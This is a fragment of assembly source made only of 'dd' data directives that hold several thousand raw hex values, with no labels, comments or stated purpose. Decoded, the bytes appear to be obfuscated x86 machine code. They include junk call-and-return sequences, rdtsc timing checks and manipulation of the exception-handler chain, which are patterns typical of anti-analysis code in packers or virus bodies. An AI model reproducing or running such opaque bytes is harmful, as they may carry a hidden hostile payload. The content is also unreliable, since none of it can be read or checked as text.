		dd 45000000h, 6C8EC355h, 34CD9D89h, 858D0612h, 615D32Bh
		dd 2481BD8Bh, 86890612h, 0B8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0E5C35343h,	0B7842759h, 0FF006A7Dh
		dd 15BD7FB5h, 118D8906h, 0FF061226h, 12162195h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0B3E12214h, 808BA33Eh, 81661D36h, 50B0FDC3h,	50F98B60h
		dd 52B86652h, 0E9310F59h, 13h, 0FBB9BA3h, 45665A31h, 0E01170B2h
		dd 10998D13h, 5A9B169Bh, 34896158h, 0F99D8B24h,	0FF06120Bh
		dd 15BD7FB5h, 1870F06h,	0FC000000h, 33D95FFh, 6A0612h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 380D63C3h, 31D4BF5Ch, 1205F5BDh, 8E906h, 18230000h
		dd 80E1D156h, 0BD8344ACh, 61224CDh, 2A840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 662BC357h, 1E85DF81h, 895B5150h, 0B70F2434h
		dd 7FB5FFD9h, 6A0615BDh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 6657C350h, 89E066BFh
		dd 1202F5B5h, 0E995FF06h, 6A06122Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0CEAFC351h
		dd 0B6773258h, 31559D8Bh, 0B5FF0612h, 615BD7Fh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 2AC35242h, 2995FF5Fh
		dd 6A061205h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0C26C350h, 664C1BECh, 7943DF81h
		dd 1445BD83h, 0F020612h, 9884h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0CD9D89AAh
		dd 8B061209h, 122A2585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E912631Eh, 5,	0A6670C0Fh
		dd 0FE8B6697h, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6CBDC353h, 24CFC288h
		dd 1B9A3C39h, 13E9h, 25D15200h,	70779CD7h, 0FE50452Ch
		dd 923F0868h, 8E06BEDFh, 4DEF8166h, 3185C71Dh, 61230h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 3D3AC353h, 84AD59BBh, 6ECCA542h
		dd 11D59D0Bh, 0B70F0612h, 0FD8A50FBh, 0F322E95Bh, 6AFFFFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 62F7A7C3h, 0FF32659h, 0B8Dh,	5820F00h, 66000000h, 0E406DB81h
		dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 60E3EFC3h, 6890Fh, 0BD090000h, 6121689h
		dd 30D98589h, 0F610612h, 585h, 0C17BBB00h, 858D1515h, 6120169h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0B1C35040h
		dd 0C1412E8Bh, 90E04623h, 0CE857h, 26600000h, 0EA511304h
		dd 0C989CAFFh, 0BB664A66h, 5B5B87D5h, 8D319050h, 6121B3Dh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 60E27FC3h, 59D4D36Bh, 662D8A90h, 860FFB8Bh
		dd 0Ch,	6810Fh,	0BD8B0000h, 6122799h, 0CE8006Ah, 88000000h
		dd 2C563DF7h, 9C162273h, 664E5384h, 5FD1E3BBh, 0AF6858Dh
		dd 8D890617h, 612125Dh,	0E905C083h, 7, 0CA225F04h, 50B322FEh
		dd 840Fh, 4890000h, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8B70B4A1h, 122349BDh
		dd 29C1BB06h, 6A5E82h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 65C35646h, 0C1CEB652h, 5E8B2h, 0D3190000h
		dd 8B34F8C2h, 123289BDh, 6A5B06h, 8E9h,	823B5F00h, 149BDEE9h
		dd 0AD95FFBCh, 0E9061204h, 10h,	0A39D2FE3h, 0D9B45870h
		dd 0CA335B62h, 922ECE5h, 9D1A8D8Dh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0AAD48EC3h
		dd 0F88B24Dh, 687h, 0AD78100h, 0FF14FC3Fh, 51006AD1h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 33A7FCBAh, 12218DBDh, 0E9BD8306h, 106121Fh, 65850Fh
		dd 9D8B0000h, 6122131h,	6A026Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 64669BC3h, 50606050h
		dd 5A310F52h, 850F58h, 61000000h, 896137B7h, 6A2404h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 630A1FC3h, 95FFADDEh, 6121621h, 0E9ABE380h, 0E31h, 0E8h
		dd 0ED815D00h, 6170B00h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 18h, 2CC35242h, 254EB3F1h
		dd 0B6B7D88Bh, 95CA858Dh, 81600615h, 8C03FC1h, 6050610Eh
		dd 11E8h, 12ECB500h, 3CC75F8Fh,	0C2CC59E8h, 0A60E3BEBh
		dd 8C0FB598h, 0
		dd 0EE85Ah, 25CF0000h, 0AD2E7F45h, 0C42C4153h, 18CCCF7Ah
		dd 8F0Fh, 615B0000h, 66240489h,	0C7D0C381h, 35FF64h, 31000000h
		dd 12233D9Dh, 25896406h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 38C35747h
		dd 8166058Fh, 0FF3F23D7h, 12136D85h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0A053B661h
		dd 50CE17DDh, 10E9DCC1h, 0CA000000h, 0CD2DDBDh,	1C9C4EF8h
		dd 1961EADBh, 6A652842h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0A9105757h, 29B5FFBBh
		dd 6A061216h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0B3D1C352h, 0FF3508AEh, 1235C995h
		dd 126E906h, 95890000h,	6122049h, 9D0900B0h, 6120435h
		dd 2860Fh, 0F88B0000h, 0BDB370E6h, 8B6071E4h, 1209D585h
		dd 0A9BD8B06h, 61061234h, 830F613Ch, 0F4h, 6E9h, 0B3829500h
		dd 0F2C1391h, 850FC8B6h, 13h, 7E8h, 4D6EB700h, 0AEB742AEh
		dd 4D19D0Bh, 0BA5B0612h, 6, 0BFC18BF5h,	2BB1DD3Fh, 8904E8C1h
		dd 122B219Dh, 8E906h, 1BF90000h, 0DCBB2A5Bh, 0F7667482h
		dd 0C82BF9E2h, 0B8E78156h, 5B782147h, 0B70FD18Bh, 92E9FAh
		dd 95890000h, 6123505h,	4E49858Bh, 10E94400h, 1D000000h
		dd 0D460E516h, 0B782B194h, 42AE4D6Eh, 83E4AEB7h, 9D8B07C0h
		dd 61232DDh, 6600C083h,	0DE9D88Bh, 2A000000h, 0D34B4CBAh
		dd 661D5B34h, 9D7D0D46h, 830FD03Bh, 0Bh, 43E9h,	25850900h
		dd 8B061225h, 0FFFFFF8Dh, 7BB66FFh, 1E183BBh, 2A840Fh
		dd 0A5830000h, 0FFFFFFFFh, 499589FEh, 0E844004Eh, 0Ch
		dd 5227477Eh, 2C95A3F0h, 110AA538h, 2819589h, 0E95F0612h
		dd 0
		dd 8A6DB58Dh, 6A0616h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 452290C3h, 8BB2DFB6h, 120B719Dh
		dd 6AF88B06h, 21BD8B00h, 0FF06122Eh, 12247595h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 3996ABA6h, 33459D03h, 19B90612h, 8100000Fh, 829F88E3h
		dd 0FCE18316h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0ACC35141h, 33F96069h, 12235D85h, 51B36106h, 0C02BF5FCh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 1CC35040h
		dd 6BEB9273h, 220D9D8Bh, 0BB660612h, 0BA1F0Dh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0C152C350h, 0F7CDACEh, 280h, 0ADFA8B00h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 671FC355h
		dd 13E94003h, 9D000000h, 41EDDCDCh, 6B45F06h, 22CC3914h
		dd 3BD485A9h, 8166E1A1h, 0FB338DFh, 682h, 70DF8100h, 601575A6h
		dd 4D9501FCh, 61061209h, 880Dh,	0AD958900h, 0B7061221h
		dd 91958BBCh, 0F5061227h, 34398D8Bh, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 91E91FC3h
		dd 0A38A6689h, 0FBB2177h, 8B50D8B7h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0C840F57h, 0E8000000h, 6, 95D56397h
		dd 5B5F980Eh, 3EE18160h, 663853F8h, 6156D1B9h, 6698D01h
		dd 0BD830612h, 612042Dh, 9B840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0FE09C356h, 0BB66A9E7h, 0B8C9E9h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0E15EC351h, 0D794C217h, 9D8BADF5h, 6120019h,	50658D8Dh
		dd 0E8570612h, 11h, 0F3DADFCEh,	0BABA3046h, 0F5FEA7FCh
		dd 3E133BFEh, 0D59D8B83h, 5F061207h, 0E8E1FF5Fh, 6, 0C157DE0Dh
		dd 12E9DC99h, 0B9000000h, 46431E84h, 0FC70800h,	1FA2DD8Dh
		dd 0E7669CD8h, 0BD835FC1h, 6122E5Dh, 0BD840F00h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0D708C351h, 0BE989h, 993C0000h, 4C271101h
		dd 7A0FBEA6h, 5DBD8318h, 106122Eh, 49D840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0D355F0C3h, 3BA8A69Eh, 0DE9h, 9BCEB000h, 22618524h
		dd 0F3BFD1ECh, 0FA8BEB15h, 2E5DBD83h, 0F030612h, 42486h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0B7D9A354h, 64D857EFh, 0F3800478h, 6A6010h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 28D221C3h, 0AEE87B55h, 52C2BB66h, 14E8h, 0ED26EB00h
		dd 4BBAC3F3h, 9CFE1CD1h, 0DD1B8BECh, 0D0536650h, 0DBBF0F8Fh
		dd 0D98C665Bh, 73F69BFh, 4E1807Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0F2C35343h,	0EDD2A429h, 6758D89h
		dd 0C90A0612h, 110840Fh, 8B600000h, 858B61C1h, 6121A89h
		dd 635BD8Bh, 85330612h,	612143Dh, 152DBD89h, 50900612h
		dd 310F5250h, 0CE8h, 43E78800h,	1A3B97D9h, 32E06A11h, 5BDF8BEFh
		dd 6A90585Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 4F0FC351h, 1C419589h, 820F0612h
		dd 6, 13E9BD8Bh, 6A0612h, 0A79FBD68h, 81FE8BA7h, 64422404h
		dd 95895877h, 6120091h,	325D95FFh, 5FBB0612h, 0E816FB95h
		dd 0Ah,	0C5CDACD7h, 9C46C759h, 830F5994h, 1, 85895FF8h
		dd 615BD7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	89C35747h, 0A0136572h, 0B734BE9Dh, 0AE9DBh, 0D71B0000h
		dd 53499F02h, 62C745FDh, 21FE9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 1BA4E0ECh
		dd 9D8B8944h, 6122B3Dh,	4810Fh,	0BF660000h, 858B18FAh
		dd 615BD77h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0BC35545h, 0AD11679Dh, 494ECF8Ch, 0C7F8BCh, 18h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0F1C35646h
		dd 0A387B05h, 0BF666736h, 0FE8A1BBh, 0B8000000h, 9ED2C775h
		dd 8DC7A697h, 0F6A4CDA5h, 9D895DC7h, 6123131h, 7BB58B5Bh
		dd 6A0615BDh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 4524C352h, 3A960A98h, 9D89E7F2h
		dd 61212B9h, 2D49858Bh,	6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 1B611CC3h, 3309D6A3h
		dd 2AD18501h, 6890612h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 80C35747h, 60513BA4h,	441BD8Bh, 0BD8B0612h
		dd 6121569h, 89858B61h,	0BF06121Ah, 216C56h, 6A044689h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 1790C351h, 9EC6A86Bh, 8981F523h, 122571B5h
		dd 0BF665006h, 3489A5DFh, 0BF666024h, 0FF616D33h, 15BD77B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 2AAA30Fh, 4DA06374h, 68D98B66h, 254D7985h
		dd 60525060h, 0BF310F61h, 4BFF8DF7h, 0C38A585Ah, 24348161h
		dd 25527A7Ah, 66F8B70Fh, 858DFA8Bh, 615BD7Fh, 0D88A90F5h
		dd 6A9050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 66CF8CC3h, 0FF1B1FBFh, 12325D95h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 565715E4h, 31B19D89h, 5B5B0612h, 0F3816661h,	0E3BBF922h
		dd 0C700DA5Fh, 122E5D85h, 306h,	55BD8B00h, 8306122Fh, 15BD7FBDh
		dd 840F0006h, 59h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0E4C35747h, 53E9h, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 168E0F22h
		dd 0E9000000h, 11h, 84EC472Dh, 3BBF49A3h, 91671DA2h, 307695Fh
		dd 0C3050A0h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0D98ADE8Ah, 4919589h, 0BD830612h, 6122E5Dh
		dd 29850F03h, 50000004h, 6850Fh, 0BD890000h, 61219C9h
		dd 0DD95895Fh, 83061203h, 15BD7FBDh, 840F0006h,	408h, 1F8EDF81h
		dd 0B5FF70E6h, 615BD7Fh, 0B195FFF9h, 6A061213h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0ED21C355h, 92731CB4h, 0AC3C6BEBh, 0B61BD8Bh, 8A0F0612h
		dd 6, 19F18589h, 0B58B0612h, 615BD73h, 106C7h
		dd 9D8B0001h, 6120FF9h,	24348950h, 0B5FFDA8Bh, 615BD7Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BAC35141h
		dd 0CB49A7ADh, 9E98Fh, 70A20000h, 99E188A1h, 8A86A5BCh
		dd 0DD95FFDCh, 0E9061210h, 0Dh,	2F427687h, 0CF94BA22h
		dd 2FBC9BC6h, 73B58BFCh, 0E90615BDh, 0Dh, 7806102Eh, 0A41EBF46h
		dd 0D268BC9h, 858BF55Dh, 6122311h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0BAC35646h,	2B8AFE62h, 0FE8h
		dd 12889C00h, 0F68F5333h, 820ABC88h, 3D5F85E2h,	2EF1BD03h
		dd 895B0612h, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 483A247Ah, 8BF583B8h
		dd 12279195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0A880F3Dh, 0E9000000h, 5,	0A8B6B44Fh
		dd 4C2836Bh, 283ABF52h,	895B617Eh, 0B70F2050h, 0DAB70FFBh
		dd 0D32B858Dh, 6A0615h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 22DF66C3h, 0BD8B204Ah, 6120945h
		dd 0B88689h, 0BD310000h, 6120165h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0BE071EC3h
		dd 0BD7FB5FFh, 6A0615h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 7B7B3EC3h, 95FFFC86h, 6121621h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 70C35545h
		dd 17BF0FF1h, 9629035Dh, 0CE9h,	7B3F800h, 0E773DF7Dh, 321EA544h
		dd 5250500Dh, 0AE9h, 195FC100h,	0CE2C63A0h, 0FF3DADFh
		dd 0F88B6631h, 6A96585Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0C4F4C356h,	0FFB34C82h
		dd 15BD7FB5h, 29BD8B06h, 0FF06120Ah, 12033D95h,	870F6006h
		dd 6, 13458529h, 80610612h, 0BD8335CFh,	61224CDh, 79840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0BA76C351h, 0F504F80h,	1A8Fh
		dd 47B76000h, 10E8h, 0DA439200h, 2F1E385Fh, 1534356Eh
		dd 35FEB06h, 896159B8h,	6A2434h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 230E2EC3h, 0C3EF83A5h
		dd 0FE9h, 0E810B000h, 11DA75EDh, 9B8E58AAh, 6716CFE4h
		dd 0BD7FB5FFh, 6A0615h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 6F8FA2C3h, 501D756Eh, 0EF816626h
		dd 8D0FD8AFh, 1, 0E995FFF5h, 8106122Ah,	2E1A89C7h, 7FB5FF21h
		dd 0E80615BDh, 7, 0EA585681h, 89C1B440h, 121D1995h, 95FF5B06h
		dd 6120529h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	7CC35343h, 0B136FC1Bh, 53A5338Ch, 0BABB6699h, 52C38132h
		dd 830DA396h, 121445BDh, 840F0206h, 42h, 9C58529h, 858B0612h
		dd 6122A25h, 6E9h, 527D0000h, 0C64903BEh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 43B0C3C3h, 0C2E1C3B0h, 66EEA0EEh, 85C7FA8Bh,	6123031h
		dd 0
		dd 1A4D8D89h, 0BD8B0612h, 61209C1h, 0FFF2CEE9h,	45BD8BFFh
		dd 8B06121Ch, 69858DC1h, 6A061201h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 60E0C355h
		dd 2A49979h, 13E99Eh, 79D10000h, 82384378h, 0EDA22B38h
		dd 625408F7h, 21B9F048h, 11BD8925h, 9006121Ah, 310F5250h
		dd 585A1CB3h, 2BB76050h, 0BE9h,	444D5C00h, 1B7A38CBh, 9FB3F0C2h
		dd 0BD8B9061h, 6121CB9h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 7C32A7C3h, 31B1B501h
		dd 6A0612h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Dh,	71C35040h, 185C8364h, 19DDDA69h, 0DE8B66D6h, 1BA8858Dh
		dd 0BD290617h, 6120A8Dh, 6A05C083h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0C427C357h
		dd 41A37C97h, 22778E1Ch, 8A525090h, 5A310FF9h, 44BB5058h
		dd 901F00F2h, 6A58B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0C2C35242h, 335C4CA5h, 0F78111F5h, 27848D59h
		dd 14619589h, 0B70F0612h, 6A006ADAh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0BDA8C351h
		dd 80F7BB63h, 95FFDBD7h, 61204ADh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 11C35747h, 0DB808A7Ah, 0AE9F7h
		dd 8F3A0000h, 0E593AF7h, 0C7E3B394h, 9D1A8D8Dh,	6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0C28ACFC3h, 0F3815849h, 8B3C31Ch, 0D1FFD98Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 4CC35343h, 830FBEA6h
		dd 121FE9BDh, 850F0106h, 91h, 3129B589h, 26A0612h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 45C35242h, 90A78ECCh
		dd 0BD896E48h, 6120459h, 0C79B531h, 89500612h, 6A2404h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 50C3D1C3h, 0BD310D6Ch, 6120E61h, 9EB739BBh, 14E84Dh
		dd 55820000h, 734AF6Dh,	0FFC6BBE4h, 0D03891B6h,	0A182437Ah
		dd 0BD8B392Ah, 612211Dh, 2195FF5Fh, 9061216h, 1221D5B5h
		dd 0CF2E906h, 0E80000h,	5D000000h, 1BB2ED81h, 6A0617h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0A31798C3h, 105CBF66h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 1FC35545h, 8DE656D7h,	1595CA85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 46D6809h, 5B5250F8h,	6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 6BAC356h
		dd 0B4899F42h, 5BD2B18h, 66061226h, 0AE11D381h,	35FF64h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 4998C355h, 7586916h, 0A830F88h
		dd 0E9000000h, 5, 11B4108Ch, 258964FCh,	0
		dd 0F958589h, 9D8B0612h, 61232DDh, 136D85FFh, 0BD890612h
		dd 6122A95h, 0BE9FF6Ah,	0C3000000h, 38872AAFh, 0D5926D76h
		dd 0B5FFD80Eh, 6122105h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0EC35747h, 0A6941399h, 0F4ED61F6h, 35C995FFh
		dd 0F4E90612h, 0F9000000h, 816600B0h, 8132BEF7h, 0C1A9D7D7h
		dd 0FC70E60Ch, 0BD8B71E4h, 6123159h, 830F613Ch,	0D3h, 38D9589h
		dd 0B60F0612h, 5036BFC8h, 6BA7653h, 89000000h, 12138D9Dh
		dd 0C1C18B06h, 9D0904E8h, 6121705h, 6660E780h, 0DA8BE2F7h
		dd 0B589C82Bh, 6123129h, 9D8BD18Bh, 612059Dh, 92E9h, 0FEBF0F00h
		dd 10E9h, 0A4B94D00h, 410C9122h, 7D9F1637h, 6BA23167h
		dd 4C858B15h, 0F505F4Ch, 89h, 7C08300h,	0EB81A1B3h, 457A696Dh
		dd 3B00C083h, 0F830FD0h, 89000000h, 120A498Dh, 4DE906h
		dd 0BB660000h, 8D8BCEB4h, 0FFFFFFFFh, 10850Fh, 0BE90000h
		dd 12000000h, 75C5B161h, 21276C42h, 0E18327CBh,	24840F01h
		dd 0BB000000h, 42731507h, 0FFFFA583h, 0F5FEFFFFh, 4C4C9589h
		dd 830F505Fh, 6, 216D8D29h, 0E90612h, 8D000000h, 169986B5h
		dd 0C1858906h, 6A061219h, 0FF5B5600h, 12247595h, 9BB9FC06h
		dd 31000010h, 1227118Dh, 6E906h, 6C6C0000h, 8773FFA9h
		dd 80FCE183h, 6AFC93CBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 6124C355h, 76777293h
		dd 0FC02BF5h, 68Ch, 859D8900h, 2B06121Bh, 51006AD2h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0AD52F287h, 0E8D1C233h, 0E983D003h, 0E8F47504h, 8, 0B140837h
		dd 340A06B2h, 0D9B70F5Fh, 880Dh, 5529BB00h, 958B6B96h
		dd 6122791h, 8D8BDA8Ah,	6123439h, 0F823D381h, 840F5433h
		dd 5, 6F5C72BBh, 0C28B5040h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 3519C351h, 0F65E2885h,	6A1DC5C9h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 8B43C355h, 0C1670DE0h, 83F9B70Fh,	12042DBDh
		dd 840F0006h, 52h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 2AC35040h, 0F8B8B7FCh, 0CE8h,	53C81200h
		dd 5053E6F2h, 39BF575Ch, 0DF8B6695h, 0B85Fh, 0CB810000h
		dd 100F059Ch, 50658D8Dh, 0BB660612h, 0E1FFD488h, 2E29BD23h
		dd 0BD830612h, 6122E5Dh, 0BA840F00h, 6A000004h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0CFE5C357h, 2E159529h, 12E90612h, 94000000h,	0C8F215C8h
		dd 0D2FC57B3h, 0D85F3AF5h, 41DB89DCh, 5DBD8364h, 106122Eh
		dd 48E840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0B5B248C3h, 0EC400B2h, 0BD832119h
		dd 6122E5Dh, 27860F03h,	89000004h, 122EE19Dh, 6A6006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0E8F3A4C3h, 638BF66h, 0DE8h,	3CB2D00h, 987063C4h, 0C84E4C4Fh
		dd 8C0FAE1Fh, 6, 820Fh,	665F0000h, 6AD98Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 3F5A50C3h
		dd 9DBF66B4h, 4E180A9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 5C35545h, 5E877h, 0DEC50000h,	89FDB59Fh
		dd 122F61B5h, 0C90A5F06h, 141840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 223AE6C3h
		dd 0E8F33557h, 11h, 0B3847CEAh,	76B90F53h, 62CDC3FCh, 48BF2087h
		dd 26EB8187h, 5F011CE8h, 1A89858Bh, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0D27E58C3h
		dd 0BD31322Fh, 6122B95h, 143D8533h, 9D8B0612h, 6121541h
		dd 56DABF50h, 4893A0Eh,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 4A66C989h, 0A61F500Ch
		dd 0E1BD89DFh, 6A061216h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 68FD8ADAh
		dd 8B5E5842h, 481FA8Bh,	0C0ABBD24h, 56006A74h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0BD49E1D8h
		dd 0C2FFB29Ah, 0FD9D8B6Ch, 0FF061204h, 12325D95h, 619D8B06h
		dd 5106120Bh, 12AD9D8Bh, 895F0612h, 15BD7F85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 6418BF9Fh, 7BE92BF3h, 8B000001h, 15BD7785h, 0DE906h
		dd 2150000h, 0C4D1E365h, 0D3697389h, 0C7922452h, 1800h
		dd 2DE38100h, 8B7AD2E8h, 15BD7BB5h, 49858B06h, 6A06122Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0C420C351h, 0B8F0F2Eh, 60000000h,	860Fh
